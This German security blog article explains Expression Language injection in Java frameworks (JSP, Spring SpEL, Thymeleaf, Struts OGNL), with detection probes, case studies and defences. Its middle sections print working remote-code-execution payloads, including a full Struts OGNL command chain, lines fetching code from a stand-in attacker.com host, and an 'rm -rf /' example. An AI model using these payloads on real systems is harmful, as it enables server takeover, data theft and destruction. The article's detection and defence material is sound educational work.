Security
9 min read
3337 views

Expression Language Injection: Wenn ${} zum Albtraum wird 💀

IT
InstaTunnel Team
Published by our engineering team
Expression Language Injection: Wenn ${} zum Albtraum wird 💀

Einführung: Der stille Attentäter in Webanwendungen

Stellen Sie sich ein scheinbar harmloses Eingabefeld vor, das nach Ihrem Namen fragt. Sie tippen John, senden das Formular ab und sehen “Willkommen, John!” auf Ihrem Bildschirm. Einfach, oder? Aber was passiert, wenn jemand ${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("rm -rf /")} eingibt? In den falschen Händen wird dieses unschuldige Eingabefeld zu einer Waffe, die das komplette System kompromittieren kann.

Expression Language (EL) Injection ist eine der verheerendsten, aber unterschätzten Schwachstellen moderner Webanwendungen. Dieser Angriffsvektor ermöglicht es Angreifern, beliebigen Code auf Servern auszuführen, indem sie ausnutzen, wie Template-Engines dynamische Ausdrücke evaluieren. Im Gegensatz zu traditionellen Injektionsangriffen, die komplexe Payloads erfordern, reicht bei EL-Injection oft schon ein paar Zeichen innerhalb von ${} oder #{}-Grenzzeichen, um Remote Code Execution (RCE) zu erreichen.

Was ist Expression Language Injection?

Expression Language Injection tritt auf, wenn vom Benutzer kontrollierte Eingaben als Ausdruck von serverseitigen Template-Engines ohne ausreichende Validierung oder Sanitisierung ausgewertet werden. Wenn eine EL-Anwendung anfällig ist, sendet ein Angreifer manipulierten Code als Eingabe, entweder in der Query-String oder in einem Formular, und der Code wird zur Laufzeit kompiliert.

Verständnis von Expression Languages

Expression Languages wurden entwickelt, um die Anwendungsentwicklung zu vereinfachen, indem sie einen einfachen Zugriff auf und die Manipulation von Daten in Webanwendungen bieten. Sie ermöglichen Entwicklern:

  • Zugriff auf JavaBeans-Komponenten und deren Eigenschaften
  • Aufruf öffentlicher Methoden und statischer Funktionen
  • Durchführung arithmetischer und logischer Operationen
  • Daten aus verschiedenen Scopes (Request, Session, Application) abzurufen

Gängige Frameworks, die EL nutzen, sind:

  • JavaServer Pages (JSP) - Verwendet ${} und #{}
  • Spring Framework - Spring Expression Language (SpEL)
  • Thymeleaf - Natürliche Template-Engine
  • Apache Struts - Object-Graph Navigation Language (OGNL)
  • Java Unified Expression Language - Standard für Java EE

Die Anatomie eines EL-Ausdrucks

Standard-EL-Ausdrücke folgen vorhersehbaren Mustern:

${variable}              # Zugriff auf eine Variable
${object.property}       # Zugriff auf Objekt-Eigenschaften
${object.method()}       # Methodenaufrufe
${"string".length()}     # String-Operationen
${1 + 1}                 # Arithmetische Operationen

Die Gefahr besteht, wenn diese Ausdrücke untrusted user input ohne Validierung verarbeiten.

Die technische Grundlage: Wie EL-Injection funktioniert

Die Schwachstellenkette

EL-Injection nutzt einen fundamentalen Fehler im Umgang mit dynamischen Inhalten:

  1. Benutzereingabe empfangen: Anwendung erhält Daten durch Formulare, URL-Parameter, Header oder Cookies
  2. Template-Verarbeitung: Eingabe wird in einen EL-Ausdruck eingebunden
  3. Ausdrucksauswertung: Der EL-Interpreter wertet den vollständigen Ausdruck aus
  4. Code-Ausführung: Bösartiger Code im Ausdruck wird auf dem Server ausgeführt

Betrachten wir diesen anfälligen JSP-Code:

3cjsp:useBean id="data" class="com.example.DataBean" scope="request"/3e
3cjsp:setProperty name="data" property="userInput" value="${param.input}"/3e
3cp3eWillkommen, ${data.userInput}!3c/p3e

Wenn ein Benutzer input=${7*7} absendet, wertet die Anwendung den Ausdruck aus und gibt 49 zurück, anstelle des Literal-Strings ${7*7}. Diese Bestätigung der Ausdrucksauswertung zeigt eine Schwachstelle.

Erkennungstechniken

Um EL-Injection zu erkennen, können Payloads wie ${"dfd".replace("d","x")} verwendet werden, wobei die erwartete Ausgabe xfx ist, weil der eingegebene String dfd durch Ersetzen von d durch x in xfx umgewandelt wird.

Gängige Erkennungs-Payloads:

${7*7}                    # Erwartet: 49
${{7*7}}                  # Erwartet: [49]
${"test".length()}        # Erwartet: 4
${"a".concat("b")}        # Erwartet: ab
${T(java.lang.Runtime)}   # Spring: Klassenreferenz

Black-Box-Tester sollten diese Payloads an verschiedenen Injektionsstellen testen:

  • URL-Parameter
  • Formularfelder
  • HTTP-Header
  • Cookie-Werte
  • Metadaten bei Datei-Uploads
  • JSON/XML-Datenfelder

Angriffsvektoren: Von Informationsleak bis RCE

Phase 1: Informationsbeschaffung

Angreifer beginnen typischerweise mit dem Extrahieren sensibler Informationen:

${applicationScope}                           # Anwendungsvariablen
${sessionScope}                               # Sitzungsdaten
${pageContext.request.getHeader("Cookie")}    # Header
${pageContext.servletContext.serverInfo}      # Server-Informationen

Phase 2: Eskalation zu Remote Code Execution

Um die vollständige Ausnutzung von EL-Injection zu erreichen und voll funktionsfähige RCE zu erzielen, muss die runtime.exec()-Klasse aufgerufen werden, um Systembefehle auszuführen.

Methode 1: Direkter Runtime-Aufruf

${''.getClass().forName('java.lang.Runtime')
    .getMethod('getRuntime')
    .invoke(null)
    .exec('whoami')}

Methode 2: ProcessBuilder-Ausnutzung

${request.setAttribute("c","".getClass()
    .forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/c")}
${request.getAttribute("c").add("calc.exe")}
${"".getClass().forName("java.lang.ProcessBuilder")
    .getConstructor(java.util.List.class)
    .newInstance(request.getAttribute("c")).start()}

Methode 3: ScriptEngineManager

${facesContext.getExternalContext().setResponseHeader("output",
    "".getClass().forName("javax.script.ScriptEngineManager")
    .newInstance().getEngineByName("JavaScript")
    .eval("var x=new java.lang.ProcessBuilder; 
          x.command(\"wget\",\"http://attacker.com/shell.sh\"); 
          org.apache.commons.io.IOUtils.toString(x.start().getInputStream())"))}

Methode 4: URLClassLoader für Remote-Code

${request.getClass().getClassLoader().loadClass("java.net.URLClassLoader")
    .getConstructor(java.net.URL[].class)
    .newInstance(new java.net.URL[]
        {new java.net.URL("http://attacker.com/malicious.jar")})}

Framework-spezifische Schwachstellen

JSP Expression Language

JavaServer Pages sind besonders anfällig, wenn sie den 3cjsp:setProperty3e-Tag oder Expression Language direkt in Templates verwenden:

3c!-- Anfälliges Muster --3e
3c:c:out value="${param.userInput}" /3e

3c!-- Beispiel für Angriff --3e
?userInput=${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null).exec("calc")}

Spring Framework und SpEL

In Versionen von Spring 3.0.5 und früher konnten EL-Tags zweimal ausgewertet werden, was die Anwendung für EL-Injection anfällig machte (CVE-2011-2730).

Spring Expression Language bietet mächtige Funktionen, die mit untrusted input gefährlich werden:

// Anfälliger Spring-Controller
@RequestMapping("/welcome")
public String welcome(@RequestParam String name, Model model) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression(name); // ANFÄLLIG
    model.addAttribute("greeting", exp.getValue());
    return "welcome";
}

// Angriff: ?name=T(java.lang.Runtime).getRuntime().exec('whoami')

Apache Struts und OGNL

Der Datenleck bei Equifax, das 159 Millionen Menschen betraf, wurde durch Object-Graph Navigation Language (OGNL) EL-Injection verursacht, wobei Equifax zustimmte, bis zu 425 Millionen Dollar zur Unterstützung der Verbraucher zu zahlen.

OGNL-Injection in Struts ermöglicht ähnliche Exploits:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))
.(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

Thymeleaf Template Engine

Thymeleaf nutzt Ausdrücke in Attributen und kann ausgenutzt werden, wenn Templates Benutzereingaben verarbeiten:

3c!-- Anfälliges Template --3e
3cdiv th:text="${userInput}"3e3c/div3e

3c!-- Angriff --3e
${T(java.lang.Runtime).getRuntime().exec('calc')}

Fallstudien aus der Praxis

CVE-2024-51466: IBM Cognos Analytics

Ein Forscher entdeckte einen Endpunkt in der IBM Cognos-Anwendung, der Benutzereingaben akzeptiert und in EL-Ausdrücke einspeist, was RCE ermöglicht. Dies wurde mit einer weiteren Schwachstelle kombiniert, um die Authentifizierung zu umgehen, was technisch zu einer unauthentifizierten RCE führt.

Der Exploit wurde mit folgendem Payload durchgeführt:

${''.getClass().forName('java.lang.Runtime')
    .getMethod('getRuntime').invoke(null).exec('command')}

Die Antwort zeigte java.lang.ProcessImpl@b639b23d, was die Erstellung eines Prozesses und erfolgreiche Codeausführung bestätigt.

CVE-2024-12798: Logback Core Schwachstelle

Eine ACE-Schwachstelle in QOS.CH logback-core bis einschließlich Version 1.5.12 ermöglicht Angreifern, beliebigen Code mittels der JaninoEventEvaluator-Erweiterung auszuführen, indem sie eine bestehende logback-Konfigurationsdatei kompromittieren oder eine bösartige Umgebungsvariable vor der Programmausführung injizieren.

Der Equifax-Datenleck (2017)

Der bekannteste EL-Injection-Angriff nutzte die Apache Struts CVE-2017-5638, eine OGNL-Injection-Schwachstelle. Angreifer erlangten Zugriff auf:

  • Persönliche Daten von 147 Millionen Amerikanern
  • 15,2 Millionen britische Bürgerdaten
  • 19.000 kanadische Bürgerdaten

Der Angriffsvektor war überraschend einfach – ein bösartiger Content-Type-Header, der OGNL-Ausdrücke enthielt und Befehle auf dem Server ausführte.

Verteidigungsstrategien: Resiliente Anwendungen bauen

Eingabekontrolle und Sanitisierung

Vermeiden Sie, Benutzerdaten in einen Expression-Interpreter einzubringen, wenn möglich. Andernfalls validieren und/oder kodieren Sie die Daten, um sicherzustellen, dass sie nicht als Expression Language ausgewertet werden.

Strikte Validierung implementieren:

public boolean isValidInput(String input) {
    // EL-Grenzzeichen ablehnen
    Pattern pattern = Pattern.compile(".*[\\$\\#\\{\\}].*");
    Matcher matcher = pattern.matcher(input);
    
    if (matcher.matches()) {
        throw new SecurityException("Potenzielle EL-Injection erkannt");
    }
    
    // Whitelist-Ansatz - nur alphanumerische Zeichen erlauben
    return input.matches("[a-zA-Z0-9]+");
}

Deaktivieren der Expression-Auswertung

Für Spring Framework:

Im Fall des Spring Frameworks deaktivieren Sie die doppelte Auflösung in Versionen ab 3.0.6 durch Konfiguration in der web.xml:

<context-param>
    <description>Spring Expression Language Support</description>
    <param-name>springJspExpressionSupport</param-name>
    <param-value>false</param-value>
</context-param>

Content Security Policies

Implementieren Sie eine robuste Output-Kodierung:

public String escapeEL(String input) {
    return input
        .replace("$", "\\$")
        .replace("{", "\\{")
        .replace("}", "\\}")
        .replace("#", "\\#");
}

Framework-spezifischer Schutz

JSP: - Verwenden Sie JSTL-Tags mit escapeXml="true" - Vermeiden Sie direkte EL-Auswertung in eigenen Tags - Implementieren Sie Content Security Policy-Header

Spring: - Halten Sie das Spring Framework aktuell (kritische Patches in 5.2.20+ und 5.3.18+) - Nutzen Sie @PreAuthorize für methodenbasierten Schutz - Vermeiden Sie das Parsen von Benutzereingaben als SpEL-Ausdrücke

Thymeleaf: - Nutzen Sie vorverarbeitete Ausdrücke __${...}__ vorsichtig - Aktivieren Sie den Strict-Mode in der Konfiguration - Validieren Sie alle Benutzereingaben vor Template-Verarbeitung

Runtime Application Self-Protection (RASP)

Moderne RASP-Lösungen können EL-Injection-Versuche erkennen und blockieren durch:

  • Überwachung der Ausdrucksauswertung
  • Analyse des Laufzeitverhaltens auf Anomalien
  • Blockieren gefährlicher Methodenaufrufe (Runtime.exec, ProcessBuilder)
  • Implementierung virtueller Patches für Zero-Day-Schwachstellen

Sicherheitstests

White-box-Tests: - Code-Reviews mit Fokus auf EL-Nutzung - Static Application Security Testing (SAST) - Abhängigkeits- und Schwachstellen-Scans

Black-box-Tests: - Fuzzing mit EL-Payloads - Dynamische Sicherheitstests (DAST) - Penetrationstests mit eigenen Payloads

Erkennung und Überwachung

Log-Analyse

Überwachen Sie auf verdächtige Muster:

${.*}
#{.*}
T(java.lang.Runtime)
getClass().forName
ProcessBuilder
ScriptEngineManager
URLClassLoader

Web Application Firewalls (WAF)

Konfigurieren Sie WAF-Regeln, um zu erkennen:

# ModSecurity Beispiel
SecRule ARGS "@rx \$\{.*\}" \
    "id:100001,phase:2,deny,log,msg:'Potenzielle EL-Injection-Attacke'"

Laufzeit-Erkennung

Implementieren Sie Hooks zur Überwachung:

  • Reflection API-Aufrufe aus Benutzerkontexten
  • Versuche, Prozesse zu starten
  • Klassenladen aus untrusted Quellen
  • Netzwerkverbindungen bei Template-Auswertung

Die Zukunft der EL-Injection

Neue Bedrohungen

Mit der Weiterentwicklung der Frameworks entstehen neue Angriffsvektoren:

  1. Polyglotte Payloads: Mehrere Injektionstypen kombinieren
  2. Kodierte Angriffe: Base64, Unicode, Hex-encodierte Payloads
  3. Zeitbasierte Blind-Exploits: Schwachstellen durch Timing-Angriffe erkennen
  4. Kettenangriffe: EL-Injection mit anderen Schwachstellen kombinieren

Sicherheitsbest Practices

  1. Prinzip der minimalen Rechte: Anwendungen mit minimalen Berechtigungen ausführen
  2. Verteidigung in der Tiefe: Mehrere Sicherheitsebenen implementieren
  3. Regelmäßige Updates: Frameworks und Abhängigkeiten aktuell halten
  4. Sicherheitsschulungen: Entwickler über Injektionsrisiken aufklären
  5. Sichere Codierungsstandards: Richtlinien etablieren und durchsetzen

Statistiken und Auswirkungen

Im Oktober 2024 erhielt die durchschnittliche App/API 4.110 Angriffsversuche, mit durchschnittlich 2,5 potenziellen EL-Injection-Angriffen und 1,4 erfolgreichen Angriffen pro Monat.

Obwohl diese Zahlen niedrig erscheinen, ist die Gefahr extrem hoch. Jeder erfolgreiche EL-Injection-Angriff kann führen zu:

  • Vollständiger Serverkompromittierung
  • Datenleak mit Millionen von Betroffenen
  • Finanzielle Verluste in Milliardenhöhe
  • Regulatorische Strafen und rechtliche Konsequenzen
  • Reputationsschäden, die kaum wieder gutzumachen sind

Fazit: Wachsamkeit ist Pflicht

Expression Language Injection ist eine der kritischsten Schwachstellen moderner Webanwendungen. Das harmlose Erscheinungsbild der ${}-Grenzzeichen verschleiert ihr Potenzial für katastrophale Schäden. Vom Equifax-Datenleck bis zu aktuellen CVEs wie IBM Cognos – EL-Injection verfolgt Organisationen weltweit.

Die gute Nachricht? EL-Injection ist vollständig vermeidbar durch:

  • Strenge Eingabekontrolle
  • Richtige Ausgabekodierung
  • Sicherheitseinstellungen der Frameworks
  • Regelmäßige Sicherheitsüberprüfungen
  • Entwickleraufklärung

Denken Sie daran: Jedes Eingabefeld ist eine potenzielle Angriffsfläche. Jede Template-Verarbeitung von Benutzerdaten ist ein Risiko. Jede Anwendung, die Expression Languages nutzt, erfordert sorgfältige Sicherheitsüberlegungen.

Der Albtraum ist nicht, dass EL-Injection existiert – sondern, dass Entwickler es weiterhin ignorieren. Lassen Sie ${} nicht zu Ihrem schlimmsten Albtraum werden. Behandeln Sie Benutzereingaben als feindlich, validieren Sie rigoros und bauen Sie Sicherheit in jede Schicht Ihrer Anwendung ein.

Kernaussagen

  1. Vertrauen Sie niemals Benutzereingaben – Alle externen Daten können bösartig sein
  2. Vermeiden Sie die Auswertung von Benutzereingaben als Ausdrücke – Nutzen Sie statische Templates, wann immer möglich
  3. Verteidigung in der Tiefe umsetzen – Mehrere Sicherheitskontrollen schichten
  4. Bleiben Sie auf dem neuesten Stand – Sicherheitsupdates zeitnah anwenden
  5. Testen Sie kontinuierlich – Regelmäßige Sicherheitsbewertungen sind essenziell
  6. Aktiv überwachen – Angriffe erkennen, bevor sie Schaden anrichten
  7. Schulen Sie Teams – Sicherheit ist Verantwortung aller

Expression Language Injection ist nicht nur eine technische Schwachstelle – es ist eine kritische Sicherheitskrise, die nur auf ihre Entdeckung wartet. Die Frage ist nicht, ob Ihre Anwendung getestet wird, sondern wann. Stellen Sie sicher, dass Sie vorbereitet sind.


Über den Autor: Dieser Artikel behandelt Expression Language Injection-Schwachstellen basierend auf aktueller Sicherheitsforschung und jüngsten CVE-Disclosures bis 2025. Für die neuesten Sicherheitshinweise konsultieren Sie stets die offizielle Dokumentation der Frameworks und Sicherheitswarnungen.

Quellen: OWASP, CVE-Datenbanken, Sicherheitsforschungspapiere und Schwachstellenberichte 2024-2025.

Continue from this article into the most relevant product guides and workflows.

Related Topics

#expression language injection, EL injection, EL RCE, JSP EL injection, Spring EL injection, Thymeleaf EL injection, JBoss EL vulnerability, EL template injection, template expression injection, ${} injection, remote code execution via EL, EL payloads, OGNL injection, MVEL injection, Java EL injection, JSP expression injection, Spring SpEL injection, Struts2 EL vulnerability, EL bypass, RCE in Java frameworks, template injection attack, expression evaluation vulnerability, arbitrary code execution EL, input field EL injection, user input evaluation, web template injection, Java server pages vulnerability, Spring expression language exploit, JUEL injection, dynamic evaluation attack, deserialization via EL, insecure expression parsing, EL sandbox escape, EL injection detection, EL injection fuzzing, EL injection payloads GitHub, EL injection prevention, secure template rendering, disable EL evaluation, Spring security expression hardening, expression resolver exploitation, EL injection scanner, web application RCE, EL injection tutorial, EL injection CVE, OWASP template injection, bug bounty EL injection, EL injection in 2025, web templating vulnerability, Java security misconfiguration, code injection prevention, expression parsing vulnerability, input sanitization for EL, expression validation best practices, EL injection mitigation, JSP RCE prevention, expression injection defense, EL injection examples

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles